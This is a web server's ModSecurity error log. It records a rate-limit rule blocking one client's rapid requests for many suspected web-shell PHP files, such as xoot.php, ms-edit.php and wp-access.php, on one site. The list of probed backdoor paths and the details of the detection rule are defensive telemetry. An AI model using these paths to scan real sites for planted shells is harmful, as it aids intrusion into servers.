[Thu Feb 26 21:05:37.135868 2026] [:error] [pid 54991:tid 55021] [client 20.216.146.160:26776] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/xoot.php"] [unique_id "aaBFId4Zx-mJ8gbRB2jkIwAAAEE"]
[Thu Feb 26 21:05:37.605338 2026] [:error] [pid 55618:tid 55635] [client 20.216.146.160:50466] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/X57.php"] [unique_id "aaBFIR61Vrh12f_8oWQJ5QAAAQ4"]
[Thu Feb 26 21:05:38.082534 2026] [:error] [pid 55051:tid 55072] [client 20.216.146.160:31772] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/X57.php"] [unique_id "aaBFIgmK1w2kZvh5eLGnnQAAAJI"]
[Thu Feb 26 21:05:38.551757 2026] [:error] [pid 55618:tid 55631] [client 20.216.146.160:33547] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/X57.php"] [unique_id "aaBFIh61Vrh12f_8oWQJ5gAAAQo"]
[Thu Feb 26 21:05:39.022983 2026] [:error] [pid 20419:tid 20438] [client 20.216.146.160:50447] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/X57.php"] [unique_id "aaBFI-3DVDvMfTYYUBVTCAAAAdA"]
[Thu Feb 26 21:05:39.501039 2026] [:error] [pid 55122:tid 55133] [client 20.216.146.160:31713] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/file59.php"] [unique_id "aaBFI4LiR0OfjFxvcN8t_AAAAMk"]
[Thu Feb 26 21:05:39.969930 2026] [:error] [pid 3883:tid 3909] [client 20.216.146.160:26802] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/file59.php"] [unique_id "aaBFI-A33x90V6yYHajg6QAAAVc"]
[Thu Feb 26 21:05:40.440221 2026] [:error] [pid 54991:tid 55028] [client 20.216.146.160:20259] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/file59.php"] [unique_id "aaBFJN4Zx-mJ8gbRB2jkJgAAAEg"]
[Thu Feb 26 21:05:40.908885 2026] [:error] [pid 3883:tid 3904] [client 20.216.146.160:33557] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/file59.php"] [unique_id "aaBFJOA33x90V6yYHajg7AAAAVI"]
[Thu Feb 26 21:06:13.719244 2026] [:error] [pid 54990:tid 55004] [client 20.216.146.160:11415] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/kj.php"] [unique_id "aaBFRXtr2qmt_mBhH2wnOAAAAAs"]
[Thu Feb 26 21:06:14.195141 2026] [:error] [pid 3883:tid 3907] [client 20.216.146.160:18145] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/kj.php"] [unique_id "aaBFRuA33x90V6yYHajhRwAAAVU"]
[Thu Feb 26 21:06:14.664863 2026] [:error] [pid 44444:tid 44455] [client 20.216.146.160:55884] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/kj.php"] [unique_id "aaBFRm2sMNmj-yekUk0YKAAAAgU"]
[Thu Feb 26 21:06:15.133900 2026] [:error] [pid 55051:tid 55075] [client 20.216.146.160:28167] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/kj.php"] [unique_id "aaBFRwmK1w2kZvh5eLGnzQAAAJU"]
[Thu Feb 26 21:06:15.602614 2026] [:error] [pid 44444:tid 44467] [client 20.216.146.160:33478] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/un.php"] [unique_id "aaBFR22sMNmj-yekUk0YLgAAAhE"]
[Thu Feb 26 21:06:16.077187 2026] [:error] [pid 55051:tid 55066] [client 20.216.146.160:7851] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/un.php"] [unique_id "aaBFSAmK1w2kZvh5eLGn0AAAAIw"]
[Thu Feb 26 21:06:16.552310 2026] [:error] [pid 55051:tid 55065] [client 20.216.146.160:33487] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/un.php"] [unique_id "aaBFSAmK1w2kZvh5eLGn0wAAAIs"]
[Thu Feb 26 21:06:17.021854 2026] [:error] [pid 54991:tid 55037] [client 20.216.146.160:33501] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/un.php"] [unique_id "aaBFSd4Zx-mJ8gbRB2jkMAAAAFE"]
[Thu Feb 26 21:06:17.513641 2026] [:error] [pid 3883:tid 3893] [client 20.216.146.160:55903] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/fs.php"] [unique_id "aaBFSeA33x90V6yYHajhTwAAAUc"]
[Thu Feb 26 21:06:17.993686 2026] [:error] [pid 3883:tid 3890] [client 20.216.146.160:28594] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/fs.php"] [unique_id "aaBFSeA33x90V6yYHajhUAAAAUQ"]
[Thu Feb 26 21:06:18.486613 2026] [:error] [pid 3883:tid 3897] [client 20.216.146.160:27191] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/fs.php"] [unique_id "aaBFSuA33x90V6yYHajhUwAAAUs"]
[Thu Feb 26 21:06:18.974894 2026] [:error] [pid 44444:tid 44452] [client 20.216.146.160:28558] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/fs.php"] [unique_id "aaBFSm2sMNmj-yekUk0YMgAAAgI"]
[Thu Feb 26 21:06:19.459190 2026] [:error] [pid 3883:tid 3902] [client 20.216.146.160:55877] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ms.php"] [unique_id "aaBFS-A33x90V6yYHajhVgAAAVA"]
[Thu Feb 26 21:06:19.945582 2026] [:error] [pid 3883:tid 3900] [client 20.216.146.160:11714] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ms.php"] [unique_id "aaBFS-A33x90V6yYHajhWQAAAU4"]
[Thu Feb 26 21:06:20.442938 2026] [:error] [pid 3883:tid 3901] [client 20.216.146.160:11720] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ms.php"] [unique_id "aaBFTOA33x90V6yYHajhWgAAAU8"]
[Thu Feb 26 21:06:20.929357 2026] [:error] [pid 3883:tid 3894] [client 20.216.146.160:47594] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ms.php"] [unique_id "aaBFTOA33x90V6yYHajhWwAAAUg"]
[Thu Feb 26 21:06:21.399883 2026] [:error] [pid 54991:tid 55033] [client 20.216.146.160:7854] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/cu.php"] [unique_id "aaBFTd4Zx-mJ8gbRB2jkMQAAAE0"]
[Thu Feb 26 21:06:21.873881 2026] [:error] [pid 55051:tid 55068] [client 20.216.146.160:55894] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/cu.php"] [unique_id "aaBFTQmK1w2kZvh5eLGn2wAAAI4"]
[Thu Feb 26 21:06:22.355282 2026] [:error] [pid 55618:tid 55644] [client 20.216.146.160:11723] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/cu.php"] [unique_id "aaBFTh61Vrh12f_8oWQJ8AAAARc"]
[Thu Feb 26 21:06:22.840106 2026] [:error] [pid 55618:tid 55624] [client 20.216.146.160:55913] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/cu.php"] [unique_id "aaBFTh61Vrh12f_8oWQJ8QAAAQM"]
[Thu Feb 26 21:06:23.327236 2026] [:error] [pid 3883:tid 3904] [client 20.216.146.160:11749] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/0.php"] [unique_id "aaBFT-A33x90V6yYHajhXwAAAVI"]
[Thu Feb 26 21:06:23.796468 2026] [:error] [pid 3883:tid 3890] [client 20.216.146.160:12553] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/0.php"] [unique_id "aaBFT-A33x90V6yYHajhYAAAAUQ"]
[Thu Feb 26 21:06:24.271585 2026] [:error] [pid 3883:tid 3901] [client 20.216.146.160:7818] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/0.php"] [unique_id "aaBFUOA33x90V6yYHajhYQAAAU8"]
[Thu Feb 26 21:06:24.741152 2026] [:error] [pid 3883:tid 3888] [client 20.216.146.160:55912] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/0.php"] [unique_id "aaBFUOA33x90V6yYHajhawAAAUI"]
[Thu Feb 26 21:06:25.217014 2026] [:error] [pid 25311:tid 25323] [client 20.216.146.160:55910] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ms-edit.php"] [unique_id "aaBFUdfdM__yZAgJFSvdugAAAYk"]
[Thu Feb 26 21:06:25.715231 2026] [:error] [pid 44444:tid 44457] [client 20.216.146.160:12549] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ms-edit.php"] [unique_id "aaBFUW2sMNmj-yekUk0YNwAAAgc"]
[Thu Feb 26 21:06:26.195850 2026] [:error] [pid 44444:tid 44470] [client 20.216.146.160:7820] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ms-edit.php"] [unique_id "aaBFUm2sMNmj-yekUk0YOAAAAhQ"]
[Thu Feb 26 21:06:26.665615 2026] [:error] [pid 55618:tid 55633] [client 20.216.146.160:12551] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ms-edit.php"] [unique_id "aaBFUh61Vrh12f_8oWQJ8wAAAQw"]
[Thu Feb 26 21:06:27.141775 2026] [:error] [pid 25311:tid 25314] [client 20.216.146.160:38975] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/grsiuk.php"] [unique_id "aaBFU9fdM__yZAgJFSvdvgAAAYA"]
[Thu Feb 26 21:06:27.611971 2026] [:error] [pid 3883:tid 3898] [client 20.216.146.160:47552] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/grsiuk.php"] [unique_id "aaBFU-A33x90V6yYHajhdAAAAUw"]
[Thu Feb 26 21:06:28.117451 2026] [:error] [pid 55051:tid 55061] [client 20.216.146.160:35973] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/grsiuk.php"] [unique_id "aaBFVAmK1w2kZvh5eLGn5QAAAIc"]
[Thu Feb 26 21:06:28.589263 2026] [:error] [pid 55051:tid 55062] [client 20.216.146.160:38959] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/grsiuk.php"] [unique_id "aaBFVAmK1w2kZvh5eLGn5wAAAIg"]
[Thu Feb 26 21:06:29.068460 2026] [:error] [pid 44444:tid 44456] [client 20.216.146.160:55886] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-blog.php"] [unique_id "aaBFVW2sMNmj-yekUk0YPwAAAgY"]
[Thu Feb 26 21:06:29.538235 2026] [:error] [pid 3883:tid 3901] [client 20.216.146.160:11747] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-blog.php"] [unique_id "aaBFVeA33x90V6yYHajhdwAAAU8"]
[Thu Feb 26 21:06:30.031757 2026] [:error] [pid 20419:tid 20437] [client 20.216.146.160:34291] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-blog.php"] [unique_id "aaBFVu3DVDvMfTYYUBVTKQAAAc8"]
[Thu Feb 26 21:06:30.512754 2026] [:error] [pid 54991:tid 55021] [client 20.216.146.160:28885] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-blog.php"] [unique_id "aaBFVt4Zx-mJ8gbRB2jkNQAAAEE"]
[Thu Feb 26 21:06:30.982431 2026] [:error] [pid 55051:tid 55055] [client 20.216.146.160:7858] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-access.php"] [unique_id "aaBFVgmK1w2kZvh5eLGn7QAAAIE"]
[Thu Feb 26 21:06:31.452320 2026] [:error] [pid 55122:tid 55136] [client 20.216.146.160:35997] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-access.php"] [unique_id "aaBFV4LiR0OfjFxvcN8uHQAAAMw"]
[Thu Feb 26 21:06:31.923356 2026] [:error] [pid 55122:tid 55145] [client 20.216.146.160:12597] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-access.php"] [unique_id "aaBFV4LiR0OfjFxvcN8uIAAAANU"]
[Thu Feb 26 21:06:32.395979 2026] [:error] [pid 3883:tid 3908] [client 20.216.146.160:38924] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-access.php"] [unique_id "aaBFWOA33x90V6yYHajhewAAAVY"]
[Thu Feb 26 21:06:32.871941 2026] [:error] [pid 3883:tid 3895] [client 20.216.146.160:11759] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/a1vx.php"] [unique_id "aaBFWOA33x90V6yYHajhfAAAAUk"]
[Thu Feb 26 21:06:33.350709 2026] [:error] [pid 3883:tid 3906] [client 20.216.146.160:46441] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/a1vx.php"] [unique_id "aaBFWeA33x90V6yYHajhfQAAAVQ"]
[Thu Feb 26 21:06:33.823999 2026] [:error] [pid 44444:tid 44450] [client 20.216.146.160:36001] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/a1vx.php"] [unique_id "aaBFWW2sMNmj-yekUk0YQgAAAgA"]
[Thu Feb 26 21:06:34.297160 2026] [:error] [pid 3883:tid 3892] [client 20.216.146.160:28887] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/a1vx.php"] [unique_id "aaBFWuA33x90V6yYHajhgQAAAUY"]
[Thu Feb 26 21:06:34.766253 2026] [:error] [pid 3883:tid 3896] [client 20.216.146.160:46422] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/sbhu.php"] [unique_id "aaBFWuA33x90V6yYHajhgwAAAUo"]
[Thu Feb 26 21:06:35.235051 2026] [:error] [pid 55618:tid 55640] [client 20.216.146.160:38962] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/sbhu.php"] [unique_id "aaBFWx61Vrh12f_8oWQJ-AAAARM"]
[Thu Feb 26 21:06:35.705291 2026] [:error] [pid 3883:tid 3905] [client 20.216.146.160:35987] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/sbhu.php"] [unique_id "aaBFW-A33x90V6yYHajhhQAAAVM"]
